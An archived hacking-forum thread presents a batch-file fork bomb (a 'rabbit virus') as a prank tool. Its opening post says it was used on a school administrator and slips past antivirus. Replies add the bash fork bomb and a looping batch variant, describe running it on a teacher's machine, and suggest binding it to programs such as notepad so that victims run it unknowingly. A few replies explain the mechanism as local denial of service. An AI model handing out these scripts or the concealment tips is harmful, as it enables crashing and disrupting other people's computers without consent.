Go4Expert

Go4Expert (http://www.go4expert.com/)
-   Ethical hacking Tips (http://www.go4expert.com/articles/ethical-hacking-tutorials/)
-   -   How to make a Fork Bomb (rabbit virus) (http://www.go4expert.com/articles/fork-bomb-rabbit-virus-t11213/)

aussiedude 8Jun2008 17:11

How to make a Fork Bomb (rabbit virus)
 

Introduction



Hey guys, haven't posted on here for a while, been honing my skills :D . And I 've got a new thing for all u guys to have fun with, its very easy and fun to do. Before we start coding ill explain what a fork bomb actually is.

A fork bomb or rabbit virus opens an application for example cmd.exe so many times that its overloads the computers processor which results in the computer either overheating, shutting down or in some cases you can get a BSOD (blue screen of death). Unlike little batch viruses like the shutdown one you cannot stop a fork bomb unless you extremely 1337 so once it starts it goes until it does its job.

Most Anti-Virus software will not pick a fork bomb or rabbit virus, as far as its concerned its just a batch file the opens and application.

Background



Fork Bombs aka Rabbit viruses have been around for ages due to their effectiveness to evade anti-virus software. I came across it when i wanted to play a practical joke on my schools administrator for his birthday. Just to let you know it worked and hes not some n00b. I find them very effective just don't bomb yourself. :D :D :D :D

The code



Ok this is the code that you type into notepad.exe remember to save it as a .bat or if you want it in a dorminant for save it as a .txt

One more thing...I am not responsible if you kills your computer or somebody else computer with or without permission. Now that we have that out a the way here we go...

Blocks of code should be set as style "Formatted" like this.
Code: .bat

:s
START %0
GOTO :s

References



Have fun guys :crazy: :) :D

faizulhaque 9Jun2008 15:49

Re: How to make a Fork Bomb (rabbit virus)
 
Can Understand Buddi!

could u Explain only about your coding

Darkness1337 9Jun2008 23:45

Re: How to make a Fork Bomb (rabbit virus)
 
nice one m8! :)

some info there:
http://216.239.59.104/search?q=cache...lnk&cd=1&gl=uk

explanation bout the code would be great :]

thanx

pradeep 14Jun2008 10:33

Re: How to make a Fork Bomb (rabbit virus)
 
Sounds cool, an explanation of the code would be nice.

gaza08 16Jun2008 23:38

???
 
hey guys im new woohoo :D

thee names gaz

i may need sum help so i might ask yas to help me is tha ok

microapple 2Jul2008 09:31

Re: How to make a Fork Bomb (rabbit virus)
 
Quote:

Originally Posted by faizulhaque
Can Understand Buddi!

could u Explain only about your coding

it starts a file then goes back to :s (basically the top) then starts over
and over ect. until you memery is totally messed up. Then your computer crashes.

shabbir 3Jul2008 10:56

Re: How to make a Fork Bomb (rabbit virus)
 
Nomination for article of the month for June 2008

linuxswan 17Aug2008 21:43

Re: How to make a Fork Bomb (rabbit virus)
 
excellent for example at the command prompt write a batch file like this and run that like this
-------------------------
copy con test.bat
cmd /k dir/s
test

press F6 and save the file and run that

sorry your system will hang check them once you are doing this ok

John Screw 21Aug2008 17:44

Re: How to make a Fork Bomb (rabbit virus)
 
Good one

StabMyStomach 28Aug2008 09:21

Re: How to make a Fork Bomb (rabbit virus)
 
Run this boy from a flash drive so you can see how it works and pull the drive to stop it.

linuxswan 3Sep2008 12:29

Re: How to make a Fork Bomb (rabbit virus)
 
No need you can use the keyboard and press the Ctrl+key

Aries 19Oct2008 22:49

Re: How to make a Fork Bomb (rabbit virus)
 
Cool man !!!

NDL 21Oct2008 14:08

Re: How to make a Fork Bomb (rabbit virus)
 
nice one

Storm_Rider 25Oct2008 23:37

Re: How to make a Fork Bomb (rabbit virus)
 
WOW I've been asking around about the Rabbit Virus But no one could explaneit to me...Ive heard this tearm in the movie "Hackers(1995)"..I finaly find it over here in go4expert.com....Realy Cool

halxfie 28Mar2009 22:25

Re: How to make a Fork Bomb (rabbit virus)
 
so... apparently i got a rabbit. is there any possible way to get rid of it?

vikas1234 31Mar2009 17:52

Re: How to make a Fork Bomb (rabbit virus)
 
really nice article .....

-=sAvIoUr=- 1Apr2009 17:41

Re: How to make a Fork Bomb (rabbit virus)
 
ahm...do you have a cure for that virus?...and..
can you explain the codes that you showed us?..:happy:..

hanleyhansen 1Apr2009 19:24

Re: How to make a Fork Bomb (rabbit virus)
 
LOL. All it does is excute a series of commands. In this case it's called a virus because the loop never ends but after you stop running either by restarting or by pressing Ctrl+C you don't have to worry about it as long as you don't run it again. Plus at this age in computers in would take a more powerful fork bomb to make your computer crash especially if you have a lot of RAM. The reason why an AV doesn't recognize it is becuase its not really a virus. It's just a .bat file that overloads your RAM and therefore makes your computer crash. One this simple shouldn't really damage your CPU.

eightlives 7Dec2009 23:32

Re: How to make a Fork Bomb (rabbit virus)
 
How is it possible to make a more power punching fork bomb to crash a computer, not giving the user time to try and retaliate?

technica 24Dec2009 17:44

Re: How to make a Fork Bomb (rabbit virus)
 
nice one from you mate.

Scripting 29Jun2010 16:53

Re: How to make a Fork Bomb (rabbit virus)
 
I'll try it.

archaingels 27Jul2010 15:15

Re: How to make a Fork Bomb (rabbit virus)
 
OMG!!! I piss on my pants!!! it works perfectly and crash my pc!!! hahaha!!!!

MattyMurder1 21Nov2010 00:08

Re: How to make a Fork Bomb (rabbit virus)
 
I typed this in to notepad and saved it as a .bat file. is there something that has to trigger this virus or what?? It has been a week and my teacher hasnt had any problems yet. :lipsrseal

MattyMurder1 21Nov2010 00:36

Re: How to make a Fork Bomb (rabbit virus)
 
Quote:

Originally Posted by MattyMurder1 (Post 74976)
I typed this in to notepad and saved it as a .bat file. is there something that has to trigger this virus or what?? It has been a week and my teacher hasnt had any problems yet. :lipsrseal

Also am i suppose to save this in a certain place?? plz help.

VaultBoy 16Dec2010 01:05

Re: How to make a Fork Bomb (rabbit virus)
 
Quote:

Originally Posted by StabMyStomach (Post 34724)
Run this boy from a flash drive so you can see how it works and pull the drive to stop it.

i dont know if i would trust someone with that since it's difficult to do just incase your comp starts to slow down too quikly

boago 31Jan2011 15:55

Re: How to make a Fork Bomb (rabbit virus)
 
hey guys i tried the rabbit virus n it works

lionaneesh 31Jan2011 21:26

Re: How to make a Fork Bomb (rabbit virus)
 
Code explanation would be highly appreciated...
If someone posts it on go4expert...

aishaarora 1Feb2011 14:44

Re: How to make a Fork Bomb (rabbit virus)
 
nice work..........

HEX_786 2Feb2011 18:26

Re: How to make a Fork Bomb (rabbit virus)
 
Program is executed
The Goto statement sends it back to the top and according to the flow of execution comes back to Goto which again sends it to the top

lokanadham 4Feb2011 11:10

Re: How to make a Fork Bomb (rabbit virus)
 
i select antivirus software as miniproject......please send any books that are related to my project and also your rabbit virus :snore::nice:

lionaneesh 4Feb2011 13:11

Re: How to make a Fork Bomb (rabbit virus)
 
Quote:

Originally Posted by lokanadham (Post 78759)
i select antivirus software as miniproject......please send any books that are related to my project and also your rabbit virus :snore::nice:

Actually there are no books on how to make a antivirus...
and a Antivirus is not t all a mini project...

I'll be writing a articles on How does antivirus works...(if shabbir accepts)
So , Stay tuned

Zanbatou9 8Feb2011 12:08

Re: How to make a Fork Bomb (rabbit virus)
 
I would be interested to know how this file can be transmitted and executed without the computer owner / user having to consciously open that file and execute. ie: how this file can be hidden and possibly automatically executed?

lionaneesh 8Feb2011 13:26

Re: How to make a Fork Bomb (rabbit virus)
 
Quote:

Originally Posted by Zanbatou9 (Post 78964)
I would be interested to know how this file can be transmitted and executed without the computer owner / user having to consciously open that file and execute. ie: how this file can be hidden and possibly automatically executed?

Unfortunately there is no way of executing the program automatically..

The method we can apply is that we can bind the virus to a program (like notepad) and when the user opens notepad ...
Unknowingly he'll execute the virus too..
This will lead to the execution of virus...

I'll be writing a article on this soon...
SO stay tuned...

teacher 17Apr2011 22:06

Re: How to make a Fork Bomb (rabbit virus)
 
i think rabbit virus is called so because it multiples itself.even the other name fork() bomb imply in this way...like (each process is dividing itself into two) .fork () is a function on linux systems which do this task of creating child from parent.
1 process
2 process
4 process
8 process

if you put that fork() inside loop you can have real fork bomb

sgtjames 21Apr2011 23:34

Re: How to make a Fork Bomb (rabbit virus)
 
pls more explanation

Scripting 22Apr2011 17:28

Re: How to make a Fork Bomb (rabbit virus)
 
what more do you expect? Everything were told ALREADY !!!

kyle 23Apr2011 18:33

Re: How to make a Fork Bomb (rabbit virus)
 
dude that's like the most basic thing ever
it's clasic
entering <represents the "object">
the following <the code to use>
the end <which in this case is a goto loop>
it picks up a random service, .exe and starts it going on n on n on til you'r pc is crashed
i've tried things like this a lot and you can stop them by restarting imediatly. unless it's programmed to start with winlogon <that would be really bad>

muh 10Jun2011 21:44

Re: How to make a Fork Bomb (rabbit virus)
 
:s is defining the function s START %0 %0 is the name of the batch file so start %0 is calling Starting the batch job again. GOTO :s simply is returning to the start of function s an endless loop that starts its self on every pass so after 10 loops you have 10 new batch jobs running, each of which are starting new jobs, it is a resource exhaustion exploit, not a virus more of a local denial of service. the bash fork bomb :(){ :|:& };: is much more elegant, but essentially does the same thing.

muh 10Jun2011 21:53

Re: How to make a Fork Bomb (rabbit virus)
 
:s

is defining the function s

START %0

%0 is the name of the batch file so start %0 is calling Starting the batch job again.

GOTO :s

simply is returning to function s an endless loop that starts its self on every pass so after 10 loops you have 10 new batch jobs running, each of which are starting new jobs, it is a resource exhaustion exploit, not a virus more of a local denial of service.


the bash fork bomb

) { : | : & } ; :

is much more elegant, but essentially does the same thing.

muh 10Jun2011 21:55

Re: How to make a Fork Bomb (rabbit virus)
 
lets try the bash fork bomb is

: ( ) { : | : & } ; :

stripping the first chars of.


All times are GMT +5.5. The time now is 14:16.